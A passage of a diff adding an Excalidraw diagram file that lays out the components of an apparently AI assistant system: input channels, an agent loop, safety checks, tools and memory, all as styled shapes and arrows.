Assistant", + "fontSize": 18, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "top", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100003, + "version": 32, + "versionNonce": 1123266367, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "a1", + "frameId": null, + "roundness": null, + "updated": 1772672074875, + "autoResize": true + }, + { + "type": "rectangle", + "id": "input_section", + "x": 56.15234375, + "y": 142.4140625, + "width": 250, + "height": 280, + "strokeColor": "#1e3a5f", + "backgroundColor": "#dbeafe", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100010, + "version": 269, + "versionNonce": 768034218, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "a2", + "frameId": null, + "updated": 1772672280684 + }, + { + "id": "3fS-Z0PTcR6seS826FmD1", + "type": "text", + "x": 177.15234375, + "y": 269.9140625, + "width": 8, + "height": 25, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "a2G", + "roundness": null, + "seed": 1669334378, + "version": 3, + "versionNonce": 417661034, + "isDeleted": true, + "boundElements": null, + "updated": 1772672280685, + "link": null, + "locked": false, + "text": "", + "fontSize": 20, + "fontFamily": 5, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "input_section", + "originalText": "", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "cU_TFIZHQ71E3vRD26qZV", + "type": "text", + "x": 177.15234375, + "y": 269.9140625, + "width": 8, + "height": 25, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "a2V", + "roundness": null, + "seed": 182392945, + "version": 19, + "versionNonce": 222357814, + "isDeleted": true, + "boundElements": [], + "updated": 1772672271046, + "link": null, + "locked": false, + "text": "", + "fontSize": 20, + "fontFamily": 5, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "input_section", + "originalText": "", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "ellipse", + "id": "web_gateway", + "x": 105.625, + "y": 177.23828125, + "width": 150, + "height": 50, + "strokeColor": "#5B6FFF", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100020, + "version": 106, + "versionNonce": 1815154602, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "web_text", + "type": "text" + }, + { + "id": "arrow_input_core", + "type": "arrow" + } + ], + "link": null, + "locked": false, + "index": "a4", + "frameId": null, + "roundness": null, + "updated": 1772672276855 + }, + { + "type": "text", + "id": "web_text", + "x": 130.625, + "y": 189.23828125, + "width": 100, + "height": 25, + "text": "Web Gateway", + "originalText": "Web Gateway", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100022, + "version": 106, + "versionNonce": 998607466, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "web_gateway", + "lineHeight": 1.25, + "index": "a5", + "frameId": null, + "roundness": null, + "updated": 1772672276855, + "autoResize": true + }, + { + "type": "ellipse", + "id": "telegram", + "x": 102.86328125, + "y": 238.10546875, + "width": 150, + "height": 50, + "strokeColor": "#5B6FFF", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100030, + "version": 68, + "versionNonce": 540028650, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "telegram_text", + "type": "text" + }, + { + "id": "arrow_input_core2", + "type": "arrow" + } + ], + "link": null, + "locked": false, + "index": "a6", + "frameId": null, + "roundness": null, + "updated": 1772672314759 + }, + { + "type": "text", + "id": "telegram_text", + "x": 137.86328125, + "y": 250.10546875, + "width": 80, + "height": 25, + "text": "Telegram", + "originalText": "Telegram", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100032, + "version": 66, + "versionNonce": 1806633258, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "telegram", + "lineHeight": 1.25, + "index": "a7", + "frameId": null, + "roundness": null, + "updated": 1772672273659, + "autoResize": true + }, + { + "type": "ellipse", + "id": "tui", + "x": 100, + "y": 300, + "width": 150, + "height": 50, + "strokeColor": "#5B6FFF", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100040, + "version": 2, + "versionNonce": 988540159, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "tui_text", + "type": "text" + }, + { + "id": "arrow_input_core3", + "type": "arrow" + } + ], + "link": null, + "locked": false, + "index": "a8", + "frameId": null, + "roundness": null, + "updated": 1772671737613 + }, + { + "type": "text", + "id": "tui_text", + "x": 129.84980391100893, + "y": 316.0723304703363, + "width": 90.234375, + "height": 17.5, + "text": "Terminal UI", + "originalText": "Terminal UI", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100042, + "version": 5, + "versionNonce": 1175576191, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "tui", + "lineHeight": 1.25, + "index": "a9", + "frameId": null, + "roundness": null, + "updated": 1772671904637, + "autoResize": true + }, + { + "type": "ellipse", + "id": "webhook", + "x": 100, + "y": 360, + "width": 150, + "height": 50, + "strokeColor": "#5B6FFF", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100050, + "version": 2, + "versionNonce": 637793567, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "webhook_text", + "type": "text" + }, + { + "id": "arrow_input_core4", + "type": "arrow" + } + ], + "link": null, + "locked": false, + "index": "aA", + "frameId": null, + "roundness": null, + "updated": 1772671737613 + }, + { + "type": "text", + "id": "webhook_text", + "x": 135, + "y": 372, + "width": 80, + "height": 25, + "text": "HTTP Webhook", + "originalText": "HTTP Webhook", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100052, + "version": 2, + "versionNonce": 607694929, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "webhook", + "lineHeight": 1.25, + "index": "aB", + "frameId": null, + "roundness": null, + "updated": 1772671737613, + "autoResize": true + }, + { + "type": "rectangle", + "id": "core_section", + "x": 381.2690679254625, + "y": 125.49438580713112, + "width": 219.99999999999997, + "height": 236.63062046839573, + "strokeColor": "#1e3a5f", + "backgroundColor": "#ddd6fe", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0.0008278143804423266, + "seed": 100100, + "version": 306, + "versionNonce": 1316125814, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "arrow_input_core3", + "type": "arrow" + }, + { + "id": "arrow_input_core4", + "type": "arrow" + }, + { + "id": "arrow_core_memory", + "type": "arrow" + }, + { + "id": "arrow_input_core", + "type": "arrow" + }, + { + "id": "arrow_input_core2", + "type": "arrow" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aC", + "frameId": null, + "updated": 1772672324430 + }, + { + "type": "rectangle", + "id": "agent", + "x": 415, + "y": 180, + "width": 150, + "height": 50, + "strokeColor": "#6d28d9", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100110, + "version": 2, + "versionNonce": 1169324383, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "agent_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aE", + "frameId": null, + "updated": 1772671737613 + }, + { + "type": "text", + "id": "agent_text", + "x": 440, + "y": 192.5, + "width": 100, + "height": 25, + "text": "Agent Loop", + "originalText": "Agent Loop", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100112, + "version": 2, + "versionNonce": 2144571409, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "agent", + "lineHeight": 1.25, + "index": "aF", + "frameId": null, + "roundness": null, + "updated": 1772671737613, + "autoResize": true + }, + { + "type": "rectangle", + "id": "router", + "x": 415, + "y": 240, + "width": 150, + "height": 50, + "strokeColor": "#6d28d9", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100120, + "version": 2, + "versionNonce": 1157231999, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "router_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aG", + "frameId": null, + "updated": 1772671737613 + }, + { + "type": "text", + "id": "router_text", + "x": 445, + "y": 252.5, + "width": 90, + "height": 25, + "text": "Router", + "originalText": "Router", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100122, + "version": 2, + "versionNonce": 401171953, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "router", + "lineHeight": 1.25, + "index": "aH", + "frameId": null, + "roundness": null, + "updated": 1772671737613, + "autoResize": true + }, + { + "type": "rectangle", + "id": "scheduler", + "x": 415, + "y": 300, + "width": 150, + "height": 50, + "strokeColor": "#6d28d9", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100130, + "version": 2, + "versionNonce": 1111289247, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "scheduler_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aI", + "frameId": null, + "updated": 1772671737613 + }, + { + "type": "text", + "id": "scheduler_text", + "x": 430, + "y": 312.5, + "width": 120, + "height": 25, + "text": "Scheduler", + "originalText": "Scheduler", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100132, + "version": 2, + "versionNonce": 1049198545, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "scheduler", + "lineHeight": 1.25, + "index": "aJ", + "frameId": null, + "roundness": null, + "updated": 1772671737613, + "autoResize": true + }, + { + "type": "rectangle", + "id": "safety_section", + "x": 672.90625, + "y": 124.578125, + "width": 250, + "height": 200, + "strokeColor": "#1e3a5f", + "backgroundColor": "#fef3c7", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100200, + "version": 78, + "versionNonce": 1678016799, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "arrow_core_safety", + "type": "arrow" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aK", + "frameId": null, + "updated": 1772672044735 + }, + { + "type": "rectangle", + "id": "sanitizer", + "x": 715.19921875, + "y": 211.328125, + "width": 81.046875, + "height": 31.19921875, + "strokeColor": "#b45309", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100210, + "version": 111, + "versionNonce": 1525108255, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "sanitizer_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aM", + "frameId": null, + "updated": 1772672030725 + }, + { + "type": "text", + "id": "sanitizer_text", + "x": 724.08203125, + "y": 219.427734375, + "width": 63.28125, + "height": 15, + "text": "Sanitizer", + "originalText": "Sanitizer", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100212, + "version": 113, + "versionNonce": 775303743, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "sanitizer", + "lineHeight": 1.25, + "index": "aN", + "frameId": null, + "roundness": null, + "updated": 1772672030725, + "autoResize": true + }, + { + "type": "rectangle", + "id": "validator", + "x": 814.3203125, + "y": 213.5390625, + "width": 83.04296874999997, + "height": 26.23828125, + "strokeColor": "#b45309", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100220, + "version": 114, + "versionNonce": 1899416191, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "validator_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aO", + "frameId": null, + "updated": 1772672036842 + }, + { + "type": "text", + "id": "validator_text", + "x": 824.201171875, + "y": 219.158203125, + "width": 63.28125, + "height": 15, + "text": "Validator", + "originalText": "Validator", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100222, + "version": 114, + "versionNonce": 1511465631, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "validator", + "lineHeight": 1.25, + "index": "aP", + "frameId": null, + "roundness": null, + "updated": 1772672036842, + "autoResize": true + }, + { + "type": "rectangle", + "id": "policy", + "x": 713.265625, + "y": 260.265625, + "width": 83.3515625, + "height": 33.76171875, + "strokeColor": "#b45309", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100230, + "version": 108, + "versionNonce": 136774143, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "policy_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aQ", + "frameId": null, + "updated": 1772672017642 + }, + { + "type": "text", + "id": "policy_text", + "x": 733.84765625, + "y": 269.646484375, + "width": 42.1875, + "height": 15, + "text": "Policy", + "originalText": "Policy", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100232, + "version": 109, + "versionNonce": 622094879, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "policy", + "lineHeight": 1.25, + "index": "aR", + "frameId": null, + "roundness": null, + "updated": 1772672017642, + "autoResize": true + }, + { + "type": "rectangle", + "id": "leak", + "x": 810.4765625, + "y": 259.140625, + "width": 104.63671874999997, + "height": 30.062499999999993, + "strokeColor": "#b45309", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100240, + "version": 99, + "versionNonce": 571119263, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "leak_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aS", + "frameId": null, + "updated": 1772672015509 + }, + { + "type": "text", + "id": "leak_text", + "x": 820.900390625, + "y": 267.296875, + "width": 83.7890625, + "height": 13.75, + "text": "Leak Detector", + "originalText": "Leak Detector", + "fontSize": 11, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100242, + "version": 100, + "versionNonce": 853306047, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "leak", + "lineHeight": 1.25, + "index": "aT", + "frameId": null, + "roundness": null, + "updated": 1772672015509, + "autoResize": true + }, + { + "type": "rectangle", + "id": "tools_section", + "x": 680, + "y": 360, + "width": 250, + "height": 180, + "strokeColor": "#1e3a5f", + "backgroundColor": "#a7f3d0", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100300, + "version": 3, + "versionNonce": 511777649, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aU", + "frameId": null, + "updated": 1772671981818 + }, + { + "type": "rectangle", + "id": "builtin", + "x": 705, + "y": 420, + "width": 90, + "height": 40, + "strokeColor": "#047857", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100310, + "version": 2, + "versionNonce": 178079359, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "builtin_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aW", + "frameId": null, + "updated": 1772671737613 + }, + { + "type": "text", + "id": "builtin_text", + "x": 715, + "y": 427.5, + "width": 70, + "height": 25, + "text": "Built-in", + "originalText": "Built-in", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100312, + "version": 2, + "versionNonce": 1839178993, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "builtin", + "lineHeight": 1.25, + "index": "aX", + "frameId": null, + "roundness": null, + "updated": 1772671737613, + "autoResize": true + }, + { + "type": "rectangle", + "id": "wasm", + "x": 827.55078125, + "y": 420, + "width": 90, + "height": 40, + "strokeColor": "#047857", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100320, + "version": 31, + "versionNonce": 108684095, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "wasm_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aY", + "frameId": null, + "updated": 1772671972284 + }, + { + "type": "text", + "id": "wasm_text", + "x": 837.55078125, + "y": 427.5, + "width": 70, + "height": 25, + "text": "WASM", + "originalText": "WASM", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100322, + "version": 31, + "versionNonce": 1558815583, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "wasm", + "lineHeight": 1.25, + "index": "aZ", + "frameId": null, + "roundness": null, + "updated": 1772671972284, + "autoResize": true + }, + { + "type": "rectangle", + "id": "mcp", + "x": 755, + "y": 480, + "width": 100, + "height": 40, + "strokeColor": "#047857", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100330, + "version": 2, + "versionNonce": 1752101567, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "mcp_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aa", + "frameId": null, + "updated": 1772671737613 + }, + { + "type": "text", + "id": "mcp_text", + "x": 775, + "y": 487.5, + "width": 60, + "height": 25, + "text": "MCP", + "originalText": "MCP", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100332, + "version": 2, + "versionNonce": 1346231473, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "mcp", + "lineHeight": 1.25, + "index": "ab", + "frameId": null, + "roundness": null, + "updated": 1772671737613, + "autoResize": true + }, + { + "type": "rectangle", + "id": "memory_section", + "x": 78.47265625, + "y": 443.49609375, + "width": 550, + "height": 120, + "strokeColor": "#1e3a5f", + "backgroundColor": "#fed7aa", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100400, + "version": 387, + "versionNonce": 1546693937, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "arrow_tools_memory", + "type": "arrow" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "ac", + "frameId": null, + "updated": 1772671997277 + }, + { + "type": "rectangle", + "id": "workspace", + "x": 100, + "y": 510, + "width": 120, + "height": 40, + "strokeColor": "#c2410c", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100410, + "version": 2, + "versionNonce": 41062143, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "workspace_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "ae", + "frameId": null, + "updated": 1772671737613 + }, + { + "type": "text", + "id": "workspace_text", + "x": 123.0859375, + "y": 521.25, + "width": 73.828125, + "height": 17.5, + "text": "Workspace", + "originalText": "Workspace", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100412, + "version": 4, + "versionNonce": 422843505, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "workspace", + "lineHeight": 1.25, + "index": "af", + "frameId": null, + "roundness": null, + "updated": 1772671896812, + "autoResize": true + }, + { + "type": "rectangle", + "id": "docs", + "x": 265, + "y": 510, + "width": 120, + "height": 40, + "strokeColor": "#c2410c", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100420, + "version": 2, + "versionNonce": 1214666527, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "docs_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "ag", + "frameId": null, + "updated": 1772671737613 + }, + { + "type": "text", + "id": "docs_text", + "x": 288.0859375, + "y": 521.25, + "width": 73.828125, + "height": 17.5, + "text": "Documents", + "originalText": "Documents", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100422, + "version": 5, + "versionNonce": 1426347505, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "docs", + "lineHeight": 1.25, + "index": "ah", + "frameId": null, + "roundness": null, + "updated": 1772671889961, + "autoResize": true + }, + { + "type": "rectangle", + "id": "search", + "x": 420, + "y": 510, + "width": 140, + "height": 40, + "strokeColor": "#c2410c", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100430, + "version": 2, + "versionNonce": 149691199, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "search_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "ai", + "frameId": null, + "updated": 1772671737613 + }, + { + "type": "text", + "id": "search_text", + "x": 440.48828125, + "y": 521.875, + "width": 99.0234375, + "height": 16.25, + "text": "Hybrid Search", + "originalText": "Hybrid Search", + "fontSize": 13, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100432, + "version": 4, + "versionNonce": 1873541727, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "search", + "lineHeight": 1.25, + "index": "aj", + "frameId": null, + "roundness": null, + "updated": 1772671894194, + "autoResize": true + }, + { + "type": "arrow", + "id": "arrow_input_core", + "x": 261.46711715004653, + "y": 204.17287566254856, + "width": 113.80360688786823, + "height": 37.58822329965656, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100500, + "version": 175, + "versionNonce": 904735862, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 113.80360688786823, + 37.58822329965656 + ] + ], + "startBinding": { + "elementId": "web_gateway", + "mode": "orbit", + "fixedPoint": [ + 1, + 0.5001 + ] + }, + "endBinding": { + "elementId": "core_section", + "mode": "orbit", + "fixedPoint": [ + 0, + 0.5001 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "ak", + "frameId": null, + "roundness": null, + "updated": 1772672312192, + "moveMidPointsWithElement": false + }, + { + "type": "arrow", + "id": "arrow_input_core2", + "x": 258.8295220489573, + "y": 262.21054711764873, + "width": 116.43881264490796, + "height": 17.563120543636757, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100510, + "version": 473, + "versionNonce": 1861636918, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 116.43881264490796, + -17.563120543636757 + ] + ], + "startBinding": { + "elementId": "telegram", + "mode": "orbit", + "fixedPoint": [ + 1, + 0.5001 + ] + }, + "endBinding": { + "elementId": "core_section", + "mode": "orbit", + "fixedPoint": [ + 0, + 0.5001 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "al", + "frameId": null, + "roundness": null, + "updated": 1772672324430, + "moveMidPointsWithElement": false + }, + { + "type": "arrow", + "id": "arrow_input_core3", + "x": 255.5096755948108, + "y": 321.59421128246635, + "width": 119.75633202551887, + "height": 74.1356798775152, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100520, + "version": 401, + "versionNonce": 1351981162, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 119.75633202551887, + -74.1356798775152 + ] + ], + "startBinding": { + "elementId": "tui", + "mode": "orbit", + "fixedPoint": [ + 1, + 0.5001 + ] + }, + "endBinding": { + "elementId": "core_section", + "mode": "orbit", + "fixedPoint": [ + 0, + 0.5001 + ] + }, + 